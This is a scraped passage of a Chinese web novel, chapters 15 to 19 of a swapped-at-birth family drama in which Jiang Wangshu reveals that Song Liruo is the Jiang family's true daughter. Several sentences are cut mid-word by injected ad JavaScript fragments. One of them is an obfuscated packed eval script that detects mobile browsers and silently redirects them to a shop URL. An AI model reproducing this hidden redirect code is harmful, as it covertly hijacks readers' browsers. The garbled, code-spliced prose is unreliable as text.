她就是个不出名的18线小歌手,时不时还要去酒吧赚出场费,既不是专业出身,也没有名师指导,属于半路出道,纯粹为了赚钱。 唯二的专业课,一是小时候跟着妈妈学过一点,二是经纪人帮她找了两个声乐老师,恶补过一段时间而已。 “你的声音天赋很好,我觉得这些歌就像为你量身定做的一样,”江望舒却说,“你知道,歌是会自己找主人的。” 她第一次听宋梨若唱歌的时候,就有这种感觉了。 这大概就是天意吧,她想。 这三首,正好都是偏国风的歌,又正正好,碰到了它们真正的主人,江望舒微微垂下眼睛,看一眼那些熟悉的旋律,有不舍,又觉得很欣慰。 宋梨若最终点头答应了下来。 就像经纪人说的那样,这么好的机会放在面前,她实在拒绝不了。 看见宋梨若点头,江望舒轻松的笑起来,仿佛放下了心中一桩大事。 然后,她很亲近的挽住了宋梨若的胳膊:“那就说好了,从现在开始,咱们就是有同一个目标的队友了!” 虽然成功把歌送了出去,江望舒肯定不可能马上撒手不管,作为曲作者,也是最了解这些歌的人,她们之后肯定还有很深的合作。 再说了,她本来就是想借机接近宋梨若的。 宋梨若其实是个偏冷淡的人,很不喜欢跟外人有肢体接触,但不知道为什么,被江望舒这么挽着手,她却并不抵触。 反而有一种……仿佛故人回到身边的感觉。 她奇怪的看了一阵江望舒,再次确认,她们两个之前确实不认识。 江屿一直在旁边坐着,没说话,也没什么表情。 他冷淡的打量着江望舒的新朋友,带着审视和考量。 望舒以前,不可能这么快就对陌生人打开心扉——她是有些天真,性情柔软,但毕竟是母亲教出来的女儿,待人处事,向来极有分寸。 可是在这个人这里,那种分寸感,好像突然一下就消失不见了。 她亲切的挽着那个人的胳膊,笑得甜美而快活,还带着一点娇嗔,往常这种表情,通常只有家里人才能看到。 这显然不是对待外人的态度。 江屿不由自主又捏紧了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手里的咖啡杯,咖啡杯里的冰块互相碰撞,咖啡的香气都变得清苦而寒冷,还带着一点奎宁的酸涩。 望舒突然变了很多,然而他依然还没有查出原因。 这个认知,让江屿很不舒服。 虽然他面上依然看不出什么。 两个女生又聊了好一会儿,很快就觉得,对方就像是自己多年不见的莫逆。 明明在两种截然不同的环境下长大,她们却出乎意料拥有很相似的音乐品味,都喜欢德沃夏克,把致新大陆视为灵魂之曲,欣赏国内老派词作者的古韵,也喜欢新派国风的创新,就连对新歌的爱好,也差不多。 江望舒的眼睛亮极了,玉白的脸上泛起了两坨红晕,和宋梨若越聊越投机。 她的直觉果然没错,她们两个果然很合拍。 江屿的脸色却更黑了。 他觉得自己仿佛被排除在某种气氛之外,倒成了彻头彻尾的外人。 等两个人依依不舍的告别,他开着车带江望舒离开,发现江望舒还依依不舍的捧着手机,跟人聊得正欢。 “你跟那个宋梨若刚认识,”他沉着脸,盯着前方,“连她究竟是什么人都不知道,就这么快相信了?” 江望舒茫然的从手机里抬起头:“梨若人很好啊,哥你不觉得吗?” 她还以为,刚才那场叫人心情愉快的会面,也给江屿留下了很好的印象。 “我觉得她心机深沉,你还是要多留一份心。”江屿说。 虽然对外人有些冷,江屿其实很少这么直白而刻薄的评价别人。 与此同时,宋梨若正好也发来了一段话:“你哥看起来控制欲很强,有点吓人,要我肯定受不了。” 她们刚才正好聊到兄弟姐妹的事,江望舒就说,江屿对妹妹特别好,如果梨若是他妹妹,肯定也会被宠上天。 结果,对面……好像满脸都是嫌弃。 江望舒一阵茫然,看看冷漠严肃的哥哥,又看了看还亮着的手机界面。 不知道为什么,在她还没有意识到的时候,这对亲兄妹的第一次见面,似乎不是那么顺利。 15. 第 15 章 第16章 第16章 江望舒躲在医院角落哭了一会儿,才稍微缓过来点。 临走的时候,她发现自己眼睛有点肿,又去买了瓶冰水,给自己冰敷了一阵才走。 娇生惯养的千金大小姐,就算快死了,也不能轻易把狼狈的一面示人——这还是楚媛从小教她的。 只不过,不知道是不是亲生女儿和养女的差别,她到底,不像宋梨若那么能忍住。 她今天出来没叫家里的司机,是自己打车过来的,这时候一个人站在路边,手里捏着手机,看着街面上汽车行人来来去去,恍惚了一会儿,才想起来还没叫车。 她轻轻拍了一下自己的脸,振作起精神,先回了家。 就是不知道今天以后,这里还是不是她的家。 她的心,紧张得砰砰直跳。 楚媛今天在家休息,江望舒回来的时候,正好看见她穿着一条素色的棉麻袍,闲散的给自己养的兰草浇花。 江望舒走过去,轻轻的从背后抱住楚媛。 楚媛笑,拍了拍女儿的手:“今天怎么回事?又闯祸了?” 江望舒娇嗔:“妈,我又不是小孩子了,哪有一天到晚闯祸的。” 楚媛转头去看她的脸,突然说:“你哭过了?” 虽然江望舒自以为隐藏得很好,但做母亲的看孩子,总比想象中更加仔细。 江望舒略微避开一点,继续去蹭母亲的肩膀,淡淡的茶叶香,以及植物的清香气飘洒在周围,清清淡淡的,但是很好闻。 “妈,”她软绵绵的说,“要是突然有一天,我不是你女儿了,该怎么办?” “说什么傻话呢,”楚媛笑,“你这是又看什么电影电视剧了?” 小时候的江望舒特别多愁善感,但凡看到一点煽情戏,就恨不得哼哼唧唧哭半天,吵得楚媛头疼。 “可要真的是小时候抱错了呢,比如在医院的时候,就被换了。”江望舒还是软糯糯的继续问,声音很沮丧。 楚媛愣了愣,认真的看着女儿:“你听到什么了?” “听到什么了?”江望舒傻傻的重复一遍,抬起头,看楚媛。 “不管发生什么,你也是妈妈的宝贝,不要想太多,”她轻轻揉揉女儿的头,“原来你是因为这个原因才不想继续进修的?傻孩子,没想到你早就知道了。” 她……早就知道什么? 江望舒惊悚了。 看了一眼小姑娘目瞪口呆的模样,楚媛继续优雅的给花儿浇水,一边说:“你毕竟是我亲手养大的孩子,只要你愿意,尽可以继续做江家的女儿,不会有什么影响。” 上次江望舒出车祸住院,就被发现血型不对,后来去查了,望舒确实和江家夫妻两个都没有血缘关系。 楚媛把时间线细细盘了一遍,这孩子从小到大都是她亲手带大的,不至于中途换人,唯一有可能出意外的,也就是孩子当年出生的医院。 不过时间都过去快20年了,医院的档案查起来没那么简单,想要调查到具体的经过,以及她真正的孩子去了哪里,还需要费些时间。 这么多年养在身边,对这个小女儿,她甚至比大儿子还要宠,就算不是亲生的,也影响不了这份感情,所以一开始,她压根就没跟望舒讲这事,准备等调查清楚了,亲生女儿找回来,再把事情掰开揉碎细说,宽这孩子的心。 如果纯粹是乌龙,大不了两个孩子两家一起养,还能当是多认一门亲。 就算有什么蹊跷或者恶意,楚媛眼里闪过冷光,那也是做大人的错,该怎么追究就怎么追究。 至于孩子,望舒是她亲手养大的,品性如何,她心里有数。 不管怎么说,她都是认这个女儿的。 听着母亲的话,江望舒眨巴眨巴眼睛,又想哭了。 果然,她之前的烦恼全是小家子气,跟楚媛一比,完全上不得台面。 这么多年,她真是连亲妈的1/10都没学到啊! “妈妈,我也永远是你的乖乖女儿。”她又把头靠了回去,泪眼婆娑的说。 楚媛拍拍女儿的头:“行了,这事儿说开也好,我说你最近怎么闷闷不乐呢,你要还愿意出国就去,这么点钱,家里又不是供不起。” 她还惦记着女儿的学业。 其实之前江望舒情绪出问题,她也猜过,孩子是不是知道点什么,但这件事按理瞒得很紧,望舒不该知道。 现在看来,大约是哪个环节出了岔子,没瞒住。 楚媛还在想究竟是哪个环节的问题,江望舒却抬起头,认真的说:“妈妈,我找到你亲生女儿了。” 然后,她就拿出了那份亲子鉴定 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 书。 楚媛再次愣住了。 “宋……梨若?”她迟疑的念出了亲子鉴定书上的名字。 江望舒点头:“那是她现在的名字,她长得跟哥哥很像,你一眼见到就能看出来。” “我……先给你哥打电话。”楚媛捂着额头说。 虽然之前说得云淡风轻,但对自己亲生女儿的下落,她不可能不在意。 只不过是在望舒面前,刻意遮掩住而已。 那个孩子长什么模样,这些年过得怎么样,又……还活着吗? 她也一直在担心这些事情,有时候整宿整宿睡不着,江志儒对此一无所知,还问她是不是更年期到了,被她狠狠骂了一顿。 江屿很快就赶回来了。 听说江望舒已经知道了,他有些诧异,但是很快就压了下去。 现在更重要的,显然是另一件事情。 “宋梨若……就是你那次带我去见的那个女孩子?”他问,“你那时候就已经知道了?” 江望舒点点头,又摇头:“当时只是有点怀疑,我觉得她跟哥哥长得像,我和她妈妈……年轻时候也有点像。” 宋梨若总说江望舒看着有些眼熟,却一直想不起来,其实江望舒知道,她是和宋岚少女时期有些相似。 几十年前的影像,调色看起来早就过时了,像素也不是那么清晰,但是画面里那个杏眼桃腮,明艳非常的少女,确实和江望舒有那么几分神似。 江屿说,具体的情况他会再去调查。 楚媛精神不太好,对着宋梨若的照片看了一会儿,神情恍惚的坐下来,半晌才叹气:“确实……是有几分像的。” 江望舒挨过去:“性格也有点像,不太说话,但是对家人特别好。” 楚媛握住女儿的手:“我就知道,你也是个乖孩子,你们都很好,以后咱们就是一家人,也不用分彼此。” 江望舒笑,但是眼睛里还是有点忧伤。 “对了,这事你爸不知道,”楚媛淡淡吩咐江屿,“也不用急着告诉他,反正这男人蠢得很,没什么大用。” 等事情彻底尘埃落定再说。 楚媛素来心气很高,唯一觉得不那么蠢的男人,大概只有她儿子江屿。 两个孩子笑起来,对视一眼,江望舒又忍不住心虚的移开。 16. 第 16 章 第16章 第16章 这回从楚媛那里出来,两个人看起来,突然就少了些亲密感。 江屿走在前头,江望舒落后几步,迟疑的跟在后头。 楚媛看到这一幕,微微皱了下眉头。 两个年轻孩子,怎么还没有她这个做长辈的豁达。 不过这种事情,谁能想到发生在自己头上,大概他们都需要一些时间消化。 楚媛垂下头,又仔细去看手机里那张照片,照片上的女孩子眉目清冷,又带点傲气,确实很像她年轻时候。 也不对,这孩子远没有她年轻时候的盛气凌人。 那时候她还没结婚,也是个不知天高地厚的大小姐,总觉得全世界都是属于自己的,鼻孔朝天的模样,她现在想想都好笑。 这孩子就不一样了,没有那份指天怼地的傲慢,眉眼间更温和,又隐隐透着一股倔强,看起来是个很有韧性的孩子。 这个孩子,应该也被养得很好——她高兴的想。 连带着对那个宋家的初始印象,也好了不少。 不过,她还是舍不得望舒,甚至有些庆幸,发现这件事情的时候,孩子都已经成年了。 要不然,光是一想到那个自己从小宠大的孩子,突然被带离她的身边,强行融入另一个家庭,就有一种血肉分离的疼。 想必另一家,也有类似的感觉。 当初,怎么会出这种乱子呢! 楚媛叹口气,站起来,振作精神,清楚接下来还有好几场仗要打。 只希望,孩子们都能顺利度过这个难关。 ———— 江屿出了门,看后头那个人还是磨磨蹭蹭的样子,索性立在原地,等了一会儿。 江望舒往前挪步的速度更慢了。 可惜再慢,两个人也就两三步的距离。 江望舒终于走到江屿跟前,低低叫了声哥。 声音软绵绵的,又轻,很可怜的样子,却少了之前装模作样撒娇时候的笃定。 江屿眉头微皱了一下。 他不喜欢这种距离感。 “怎么,你还认我这个哥?”他问。 江望舒抬头看了他一眼,又缩回去,嘟囔着说:“我肯定是认的,就怕你不想认我了。” 江屿这个人从小就讲究,又挑剔,哪怕是亲戚家的女孩儿眼巴巴贴上来,他都没兴趣搭理,也就自己,仗着是他亲妹妹,关系才亲近一点。 江望舒坚信,这里头百分之八九十的原因,纯粹是自己脸皮厚。 可现在,什么亲妹妹,她就是个假货,双方心知肚明,脸皮也就厚不起来了。 再想想自己前几天还一副恃宠而骄的样子,头都要抬不起来了。 都知道真相了,她之前怎么就不会收敛收敛呢!江望舒懊恼的想。 江屿盯着少女乌黑的发顶看,她的发质好,阳光落在上头,形成一个特别漂亮的环形光圈。 他的手下意识抬起,又落下,微微笑一下:“别乱想,怎么舍得不认你。” 可惜这抹笑,以及抬起又落下的手,低着头的江望舒没看着。 不过不管怎么说,有江屿这话,她心里总归放松了一点,江望舒扭扭捏捏的问:“那……你还有时间送我回公寓吗?我有点东西想过去拿。” “当然。”江屿说。 两人并行往车库走。 从主宅往车库去的方向,有一小截坡格外陡,要是下过雨,更加湿滑,不过旁边就是楼梯,这段坡没有刻意去管,平时也没什么人走。 除了江望舒。 她从小就不老实,每次走到这里,总习惯侧着身子,哧溜滑下去,小时候还有点笨手笨脚,摔过几回,可通过坚持不懈的练习,现在已经溜得很顺畅了。 斜坡上那道浅浅的痕迹,就是她日积月累留下的成就。 楚媛很不喜欢她这个习惯,觉得不够稳重,也不安全,可惜说来说去,江望舒都是左耳听右耳忘,妈妈不同意,那在妈妈不在的时候玩就好了。 她就是这么一个劣根性,也亏得楚媛这么多年,有耐心一点点矫正她的性子。 江望舒走到陡坡前,停了一会儿,脚步一转,第一次乖乖从楼梯下去。 江屿诧异的看她。 江望舒垂下眼睛:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我也不能永远那么不乖。” 没剩多久时间了,她还是想尽量做个好女儿,不要老是惹得楚媛生气。 她几乎从来不走这边,早忘了最下面那一层台阶要格外高出一公分,于是,她走着走着,左脚踩了个空,差一点往前扑倒。 江屿一把把她拽住,又烫到了一样,飞快的松开手。 江望舒踉跄了几步才彻底站稳,好歹没摔倒。 她生气的去看江屿,对方却下意识的避开了眼睛。 天气还热,江望舒就穿了一条柔薄的裙子,小飞袖,露出了白腻如雪的双臂,她的体温比一般人低一点,皮肤上毛孔细得几乎看不到,触手全是骨肉匀亭,柔滑细软。 江屿觉得自己的手心像是点起了一团火,那火一路蔓延往上,烧得厉害。 他垂下眼睑,收拢掌心,生怕江望舒看出端倪。 江望舒哼笑一声:“我这个人就是走不得寻常路,难得想老实一回,反而差点摔了。” “……我下次请人把这里改改。”江屿说,还是不看她。 盯着江屿看了一会儿,江望舒突然生气了,抿抿嘴,扭过头,自顾走了。 车都不愿意坐江屿的,自己去叫了家里的司机。 上车的时候她还是气呼呼的,怎么都顺不下去。 司机从小看两个孩子长大,一眼就看出两人又在闹矛盾,或者说,是小姑娘自己在发脾气,毕竟这么多年,每次都是江屿让着妹妹。 他笑:“怎么,你哥又哪里惹到你了?” “别提了,男人都是大猪蹄子,说话不算话。”江望舒很不客气的来了通地图炮。 刚刚才说舍不得不认自己,这才多久呢,碰到她都觉得嫌弃了? 江望舒很不服气地举起自己的胳膊,摸了摸又闻了闻,又软又白又香,哪至于叫人这么嫌弃的。 难不成把自己当成了外面那些只想往他身上扑的小迷妹? 江望舒很不屑地皱了皱鼻子。 算了,谁在乎那家伙,管他怎么想,妈妈还愿意认自己就行。 江望舒对着皮质的座椅靠背,恶狠狠的想。 17. 第 17 章 第17章 第17章 江望舒回到了公寓。 不过这里应该很快就不属于自己了。 该还回去的东西都得尽快还,她也没那么厚的脸皮死占着不放。 江望舒先清了一下保险柜里的财物。 她现在手里最值钱的,就是作为成年礼,转到自己名下的这一整栋公寓楼。 除此以外,还有各种名贵珠宝和女孩子喜欢的小玩意,绝大多数都是江屿送的,她很多都不知道具体价格,总归总价会很吓人。 妈妈和江屿肯定不会跟她计较这些,如果她还能活很久,大概也可能舍不得,不过现在,心态倒是难得的豁达。 宋梨若,本来才应该是这些东西的主人。 江望舒关上占了一面墙的保险柜,又扯出一张纸,把保险柜的密码写在纸上,到时候可以把这张纸交给宋梨若。 还有些鞋包衣服,以及更适合日常穿戴的轻奢首饰珠宝,基本都是楚媛或者她自己平时买的,价格都不便宜,但也不怎么保值。 楚媛是个做事极妥帖的人,梨若要是住进来,这些东西到时候肯定全部都会换新的,穿用过的老物件都会被清理掉。 江望舒转了一圈,本来还想整理一下,可很快就放弃了。 东西太多,她拿走也没地方放,还不如先堆在这里,等她没了以后,该怎么处理,也不用她头疼了。 要么拿去卖二手,要么扔掉,反正总有专业的人来善后。 江望舒又拉开玻璃柜,黑丝绒底面的展示柜里还放着20来块名表,多半都是其他长辈或者朋友送的礼物,家里人都知道她手腕上不喜欢戴东西,一般不会买这个给她。 只有一块除外,那是一块表盘是星月图案的古董手表,其中月亮用的是切割的黄宝石,星星则是用十几颗钻石镶嵌的,据说是以前某位皇家公主的珍藏。 这也是江屿从拍卖会上买回来的,是她18岁的成年礼物。 盯着这块表看了一阵,她对江屿的怒火忽然就散了。 这么多年,她哥真是掏心掏肺的对她好,突然发现这个妹妹是假冒的,发点别扭也正常。 反正他也发不了多久了。 江望舒决定还是要对他大度一点。 她最后又看了一圈这套公寓。 因为上学方便,她在这边住了三年,零零碎碎留下了很多痕迹,也有很多回忆。 桌子上有一道深棕色的焦痕,那是她去年和朋友一起过生日的时候,蜡烛不小心掉在桌上留下的,桌子换起来麻烦,后来阿姨垫了一块桌布遮掩,但是她不喜欢桌布的质感,又给撤掉了。 窗台上放着几盆零落的小花,那是春天时候,她听说草花容易养,又容易开得茂盛又漂亮,便买了几盆,养护好了果然好看,大捧大捧的各色小花缤纷的簇拥在窗台边,让这个春天都格外绚烂夺目。 只不过现在夏天都过了大半,花也少了,稀稀落落的又缺乏照料,只有保洁阿姨偶尔过来浇浇水,花枝便长得凌乱,叶子有气无力的耷拉着,再没有了往昔的风光。 听说草花盛花期长,寿命却短,大部分撑不到明年春天,就要彻底凋零了。 她便又学着母亲的样子,给花浇了水,施了肥,细细修剪了枝条,果然看起来好多了,新绿的芽顺着光线伸展,仿佛依旧生机勃勃。 就算活不长,也要精精致致的,看起来才舒服。 江望舒微微笑着,觉得心情瞬间好了很多。 她又收拾了几套日常穿的衣服,两双鞋,总共都没装满一个包。 最后,再在屋子里转了一圈,就离开了。 大门悄然合上,房间重归寂静,就像一场沉默的告别。 安静的来又安静的去,最好谁也不要打搅。 ———— 只要有了正确的方向,调查起来其实很快 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过一两天时间,事情就大体清楚了。 两个孩子交换这事儿确实就是个乌龙。 当年楚媛和宋岚在同一家医院生产,住的还都是vip病房,不过那年月,管理不像现在这么严格,小婴儿连腕带都还没有强制规范,就是护士对一下登记表,然后直接抱去病房,交给孩子的父母。 两个孩子偏又巧得很,一样的重量,一样的身高,都是两只长相差不多,红彤彤的小毛猴,还正巧,是前后脚出生的。 现在也说不清,具体是哪个环节出了错,总之,两个孩子被送错了地方,然后就这么阴差阳错,彻底让两人交换了人生。 一个成了金尊玉贵的千金大小姐,一路衣食无忧,顺利长大。 另一个生活却坎坷些,起起落落,走到现在。 听说那个女儿过得辛苦,还半路辍学,进了娱乐圈打拼,楚媛觉得很心酸。 “总归先见一面,她们家现在有困难,咱们又有这个余力,能帮就帮,毕竟也是一场缘分。”楚媛说的话,果然和江望舒预想的差不多。 即便如此,她也不忘安抚身边的女儿:“你也不要担心,你哥帮你打听过了,你的亲生母亲是个很好的人,不过……她们家情况你也知道一点,有个继父,还有个重病的妹妹,钱的事情你不用担心,但是那个家里情况复杂,你要是觉得不适应,就随时回来,你还有我们呢,妈可巴不得你一直住在家里。” 最后这句话纯粹出于楚媛的私心,一边是血脉亲情,一边是从小宠大的女儿,孰轻孰重,也没那么好衡量。 养恩和亲恩,吵了几千年的事情,又哪里那么好分清。 她只能说,她会尽量补偿回家的亲生孩子,但同样也舍不得亏待望舒。 江望舒乖巧地贴着母亲:“嗯,我到时候也会经常来看你,别觉得我烦就行。” 楚媛也搂着女儿,笑着说好。 18. 第 18 章 第18章 第18章 楚媛以前其实并不是个慈母。 江望舒本来就是半路穿过来的,穿过来的时候原主才7岁,意外落水,送到医院的时候,都宣布脑死亡了,没想到被她鸠占鹊巢,突然醒过来,把负责抢救她的医生都给狠狠吓了一跳。 她醒来的时候忘记了很多事,既不记得自己做鬼时候是什么样,原主的记忆也散落得七七八八,她不知道原主以前是什么想法,反正她自己觉得,有钱人的日子,过得还挺累。 江家养孩子,讲究的显然是一个全面发展,放在古代,可能是礼乐射,御书数,放到现在,大概就是文史数理外语,几门体育,几门艺术课,一些礼仪教养课,一点练字鉴赏之类的杂项,七七八八,把小姑娘的时间给填得满满当当。 虽然想不起来以前的妈妈是什么样子,反正她知道,肯定不会这样。 身体还没好全呢,就要压着她写作业,学东学西,跟个陀螺一样停不下来。 也是这段时间,她变得特别叛逆,大概叫楚媛多掉了不少头发。 母女两个那时候的关系,是很紧张的。 后来有一次,好像也就八九岁的时候吧,她调皮捣蛋,不小心弄坏了楚媛一个很喜欢的茶盏。 那东西她知道是从拍卖会上得的,价格昂贵且不说,楚媛还时时拿在手上把玩,爱惜得不得了。 对一个玩意儿的态度,简直比对自己都好。 江望舒知道,这下肯定免不了一通皮肉之苦了。 没想到,楚媛只是很淡定的把破损了的茶盏收进匣子里,一句责怪都没说。 面对一脸不解的江望舒,她只是笑:“既然被我摆在外头,就不会担心磕碰。” “在我们这样的家里,器物本来就不值当什么,坏了也就坏了,”她轻飘飘的说,“人也一样,在这个家里,你想当花瓶,还是当摆弄花瓶那个人,全看你自己。” 那时候江望舒半懂不懂,就感觉不明觉厉。 后来,江屿回来的次数多了,有时候还带着她去老爷子那边问候长辈,江望舒慢慢就看出来,在老头子眼里,长孙才是值得重视培养的那个,她这种小女孩儿,学学琴棋书画,修身养性就够了,反正以后最大的价值,也就是联姻。 楚媛不一样,她对那些老派想法不屑一顾,对这个女儿,也有高得多的期待。 可惜江望舒自己不争气,乐曲歌赋一学就会,数学题却做不出几道,性格又憨,软绵绵的,以后要进了商业场,怕不被那些老狐狸给活生生吞掉。 后来转学了音乐,进展倒是一日千里,叫楚媛十分意外。 毕竟家里好像也没哪个特别有艺术细胞的长辈。 虽然如此,楚媛还是很高兴,她时常对望舒说,无论哪个领域,只要成为最顶尖的那一撮,一样不容易被别人轻易拿捏。 艺术这条路虽然难,但是有家里托底,比一般人还是好走多了。 可惜,最后她还是叫妈妈失望了。 江望舒又把脑袋放在楚媛怀里,惋惜的嘟囔到:“梨若脑子比我聪明多了,要是一开始没弄错人,妈妈你以前肯定不会生那么多的气。” 楚媛忍不住笑起来:“你这样的也挺好,磨了我不少性子。” 女儿虽然鸡不太动,她自己的事业倒是一路向上。 这几年,楚媛的脾气确实比之前平和了不少,不过也有可能,是因为她在集团里的地位稳步上升,让老爷子再也不能把她当成一个只会生儿育女的媳妇看。 人一顺风顺水,脾气都变好了,连带着看这个小废物一样的女儿,也慈祥不少。 就算江望舒自己立不起来,她也自信能护住,不会再轻易被老爷子当做筹码给交换出去。 但谁能想到,如今竟然又碰到这么意外的局面呢! “你那个婚约……你自己对贺云平究竟什么想法?要是不愿意,正好趁这次机会把婚约给解除掉。”楚媛缓慢的拍着江望舒的背。 虽然贺家家大业大,她也没看上贺云平那个小子,娇生惯养的,还带点油滑。 无论是哪个女儿,她也舍不得就这么嫁出去,倒不如直接踢开干脆。 “我对他没什么想法,”江望舒眨巴着眼睛说,“梨若他也配不上,直接解除就好了,我无所谓,不过妈妈,什么时候跟梨若说这些事?” 楚媛好笑的摸了摸女儿的头:“不急,你哥先去了,总要让人家有点心理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13931866|147224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备,免得事发突然被吓到。” 宋梨若确实是被吓到了。 她暗地里也的确羡慕过那个衣食无忧,一看就是被宠大的大小姐,但除此之外,其实并没有太多想法。 虽然在外人看起来,她这段时间过得很累,但至少在出事之前,母亲慈爱,继父宽厚,妹妹乖巧可人,她的生活也还算优裕。 要不是妹妹出事,几乎用空了家里所有的积蓄,还在外面借了一笔债务,她现在也是个快乐的准大学生,可能还跟其他以前的同学一样,正在没心没肺的到处参加联谊聚会。 之前江望舒主动提出合作,她就已经有种被天降大饼砸中的感觉,没想到,这饼里还藏着馅儿,就是……有股说不出来的滋味。 她……不是宋岚的亲生女儿? 宋梨若第一次听到这句话的时候就很不爽,差点把跟她说这话的江屿给直接揍了。 要不是摆在面前的证据无可辩驳,那些有钱人,也不至于如此戏耍她一个刚成年的小女孩,她真的会揍人的。 江屿说这些话的时候一直很冷静,态度比上回温和一点,但还是叫宋梨若看得很不顺眼。 对这个自称自己亲哥哥的家伙,她真是多看一眼都嫌烦。 “我知道现在跟你说这些很突然,”他说,“但是事情已经发生了,只能努力挽回,我和母亲的意思,是欢迎你回家,但也希望两家以后能像亲戚一样走动,不要疏远了。” 宋梨若恍惚的看着他,还是有一种很强烈的不真实感。 所以……她其实是江家的女儿,那个江望舒,才是妈妈的亲生女儿? 她一点没有突然成为富豪千金的惊喜,反而很不知所措。 “再……让我想想,这事先别告诉我妈,她身体不好,不能受太大的刺激。”宋梨若冷着脸说。 江屿点点头,递过来一张卡,说了卡里的金额和密码:“不要误会,我知道你们家出了点事情,这也是我和父母对你母亲表示的心意,感谢他们能把你养得这么好。” 宋梨若犹豫了一会儿,想想家里的情况,到底还是接了。 “先给我一点时间,”她说,“等我准备好了,再去见那位……楚女士。” 19. 第 19 章 第19章 第19章 出了门,宋梨若失神落魄的回了家,不是在京市暂租落脚的公寓,而是远在上百公里以外,那个真正的家。 她在手机上买了票,行李都没带,空手坐着最近一趟火车,一路晃晃悠悠的回家,甚至连经纪人的电话都没听到。 一下火车,就有一股湿润的海风扑面而来。 她在京市出生,但是这么多年,还是更习惯东城湿润的海洋气候。 东城是个海边的老城,远比京市安逸闲适,街面上走的行人,步履都要慢几分。 她家在主城区原本有一套4室2厅的大房子,为了筹医药费已经卖掉了,所以宋梨若直接去了家里的店面上。 那是一个小花店,上屋下店的结构,上面的屋子小,只有1室1厅,以前是用来放包材的,住起来很逼仄,但是现在,也顾不得讲究这个了,卖了原来的房子以后,一家人就搬了过来。 店门现在开着,但是里面没开灯,暗沉沉的,原本永远朝气蓬勃的花木看起来也有些发蔫,远没有以前的繁盛灿烂。 看见宋梨若进来,坐在那里呆呆发木的女人突然抬起头,愣了一下,又马上站起,迎过去,脸上挤出笑:“若若,你怎么突然回来了?你爸现在在医院,等一下就回来了,你吃饭了没,要不我现在给你去下一碗面?” 虽然年纪上去了,宋岚看起来依然极漂亮,精致的眉眼,温婉的气质,往那里一站,就是花店活生生的招牌。 现在虽然有些憔悴,却反而更显得美丽脆弱,但是一见到大女儿,又忍不住团团的忙起来。 宋梨若身上原本紧绷的气场突然一下就泄了,她抱住宋岚,声音有点哑:“妈,我想你了。” 宋岚的心酸涩得厉害,她用力回抱住女儿:“是妈妈没用,你才这点年纪,就害你在外面那么辛苦。” “要是觉得累了就回来,大不了把这个店子卖了,妈妈再求求以前的朋友,总能找份工作。”她说。 宋梨若用力摇头:“你身体不好,就不要出去了,我和爸都不放心。” 妹妹出事的时候,宋岚就大病了一场,养了很久都没好,所以那时候,明明是妈妈准备重新进娱乐圈赚钱,却被宋梨若拦住,自己转头就跟经纪人去了京市。 就算她亲生父亲压根不管这个女儿,至少,不会像对母亲那样严防死守,生怕她东山再起。 想起那个恶心的男人,宋梨若微微皱了一下眉头,又轻轻拍了拍宋岚的脊背:“我在外面不累,还得到了一个参加音乐大赛的机会,奖金都提前发了,别说妹妹的医药费,咱们以前的房子都能买回来了,到时候咱们一家四口住进去,就又跟以前一样了。” 她拿出了一张卡给宋岚。 这张卡里存了500万,确实足够解决家里这次危机了。 江屿那家伙虽然看着讨厌,做事倒是滴水不漏,无可挑剔。 宋梨若看着母亲憔悴的脸,出神。 所以,她突然成了别人家的女儿,好像也不是那么糟糕的事情。 很小的时候,她就立下誓言,等她长大,一定好好的保护宋岚,谁都不能欺负。 虽然后来,继父安恒益的出现,让这份责任稍微减轻了一点。但是,她依然很爱很爱她的妈妈。 她的妈妈宋岚,是个很美丽也很温柔的女人,以前当过演员,后来结了婚,生了她,可惜所托非人,离婚离得很狼狈,她的前夫手腕极狠,几乎彻底阻断了前妻继续在娱乐圈发展的一切机会。 即便如此,她带着女儿,依然过得很好,当不了演员也没关系,她就搬来东城,开了个小花店,虽然赚不了大钱,也算衣食无忧。 宋梨若现在都还记得,自己小时候跟着妈妈在公园里踩水,去追彩虹的日子,她笑得没心没肺,妈妈也是。 宋岚一点都不在乎女儿身上乌漆抹黑的样子,就算再成了个泥猴,她也永远都是温柔的笑,甚至还会跟女儿一起玩泥巴,撩水,笑起来天真得像个孩子。 冬天雪花飘起的时候,母女两个还会同时把手伸进雪里,又快速抽出来,看着冻得通红的指尖,又用力在一起搓,咯咯直笑,幼稚得很。 后来,宋岚遇到了她现任丈夫,动了心,也会很认真的问小小的女儿,可不可以接受自己有个新爸爸。 她要是不愿意接受的话,宋岚是肯定不会再婚的。 宋梨若并不介意继父的出现,她能看出来,这个温和的男人很爱她妈妈,几乎跟她一样爱。 后来,妹妹也出生了,小小的一团,眼睛很大,笑起来跟妈妈有点像。 妈妈对宋梨若的爱,并没有因为妹妹的出现而有丝毫的减少,或者说,宋梨若觉得,这个世界上,好像又出现了一个特别特别爱自己的人。 小小的妹妹,奶呼呼一团,总喜欢跟在她屁股后面,啊呜啊呜的叫,调皮捣蛋的时候,父母的管教一概不听,只有姐姐才能叫她稍微乖巧一点。 就算被骂了也不生姐姐的气,明明眼里含着一泡泪,还会扭着屁股,努力往姐姐身上爬,手里还要拿颗糖,讨好姐姐。 那几年,家里一直和和美美,不能说特别富裕,但是很安逸。 那么可爱的妹妹却突然出事了,倒在路上,受了很重的伤,可因为正好在监控的死角,连肇事 